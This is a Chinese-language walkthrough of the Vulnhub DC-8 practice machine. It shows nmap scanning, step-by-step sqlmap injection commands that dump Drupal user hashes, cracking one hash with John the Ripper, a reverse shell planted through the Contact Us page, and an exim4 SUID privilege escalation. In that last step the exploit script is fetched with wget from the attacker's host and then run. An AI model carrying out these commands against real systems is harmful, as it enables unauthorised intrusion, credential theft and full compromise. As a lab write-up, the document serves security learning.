Vulnhub简介
Vulnhub是一个提供了很多漏洞环境的靶场平台,其中的环境基本上都是做好的虚拟机镜像文件,
靶场部署
vulnhub官网:https://www.vulnhub.com
下载地址:https://download.vulnhub.com/dc/DC-8.zip
1、直接从官网下载做好的虚拟机镜像文件(我下载的Mirror版本的);
2、解压会得到一个.ova的文件,然后在VMware中打开即可;
环境配置
攻击机kali:172.20.10.3
DC靶机:192.168.2.25
(我两者都是用的桥接模式,最好都再做一个快照吧,以防万一)
虚拟机打开如下所示:
信息收集
1、老样子三板斧,上nmap进行主机探测
扫描到靶机开放了22和80端口,使用的是Drupal(版本是7.x)的cms,还有一个robots协议。
2、既然扫描到了80端口,那就直接访问一下
3、目录扫描(我使用的是dirsearch工具),扫描到一个登录界面。
4、尝试爆破了一下,没成功,可能是自己的字典太lj了,只有尝试其他的方式了。
sql注入
1、后来点击De’tails导航栏的模块,发现url里面带有参数,果断尝试一下sql注入。没想到也确实存在sql注入,真实得来全不费工夫呀!
2、既然存在sql注入,那就得掏出sqlmap这个大杀器了
python2 sqlmap.py -u http://172.20.10.7/?nid=1%27
3、爆库名:d7db
python2 sqlmap.py -u http://172.20.10.7/?nid=1%27 –current-db
4、爆表,一共爆出来有八十多张表,但是我是需要登录用户名密码,所以就查看了users这张表
python2 sqlmap.py -u http://172.20.10.7/?nid=1%27 -D d7db –tables
5、爆列名,爆出来其中有16列
python2 sqlmap.py -u http://172.20.10.7/?nid=1%27 -D d7db -T users –columns
6、读取数据,既然我们找到了登录页面,那就只需要账户名和密码,所以读取账户名和密码,即name和pass这两列。
得到用户名admin和john,密码经过加密,需要解密。
密码破解
admin:$S$D2tRcYRyqVFNSc0NvYUrYeQbLQg5koMKtihYTIDC9QQqJi3ICg5z
john:$S$DqupvJbxVmqjr6cYePnx2A891ln7lsuku/3if/oRVZJaz5mKC2vF
密码密文得到了,但是却不知道怎么破解呀!john这个用户名看起来似乎有点眼熟,卧槽,john不是一个密码破解的工具吗?那就应该是要用john工具来爆破密码了。
1、将得到的账户名和密码放到文本文件中
2、然后开始使用john爆破密码
john dc8.txt
得到john用户的密码为:turtle
admin用户的密码破解不出来!!!
反弹shell
1、使用得到的账户名和密码登录
2、发现Contact Us 页面可以修改,所以可以直接写入一个shell,然后将其反弹到攻击机。
3、写入shell
4、然后回到view页面,填写一些东西提交,同时在攻击机上开始监听
5、成功得到shell
提权
1、老规矩,返回一个稳定的交互式shell
python -c “import pty;pty.spawn(‘/bin/bash’)”
2、使用命令查看是否有suid的提权的命令
find / -user root -perm -4000 -print 2>/dev/null
3、找到一个exim4的命令,查看其版本
/usr/sbin/exim4 –version
4、使用searchsploit来寻找版本漏洞
searchsploit exim 4
5、将脚本复制到本地,命令为shell.sh
或者也可以在此链接直接下载该exp:https://www.exploit-db.com/exploits/46996
cp /usr/share/exploitdb/exploits/linux/local/46996.sh shell.sh
6、然后将脚本下载到到靶机中
可以将脚本放到攻击机的apache目录下,然后再使用获得的靶机的shell下载
mv shell.sh /var/www/html #移动脚本到目录/var/www/html下
service apache2 start #启动apache服务
7、在靶机中下载脚本,只能在靶机的tmp目录下下载,因为/tmp目录的权限大。
wget http://172.20.10.3/shell.sh
8、赋予脚本权限,然后执行脚本
chmod 777 shell.sh #赋予脚本权限
./shell.sh -m netcat #执行脚本
9、失败了
原因是:shell.sh文件的格式为dos格式。linux只能执行格式为unix格式的脚本。
使用set ff=unix : 告诉 vim 编辑器,使用unix换行符,不然会无法执行脚本。
所以修改一下攻击机目录下的shell脚本,在脚本最后加上 :set ff=unix
然后在靶机中重新下载脚本,赋予权限,执行脚本,提权成功,得到最终的flag!!!
知识点总结
1、nmap的使用
2、sql注入,常用的sqlmap指令
3、john破解密码
4、exim的版本漏洞
请登录后发表评论
注册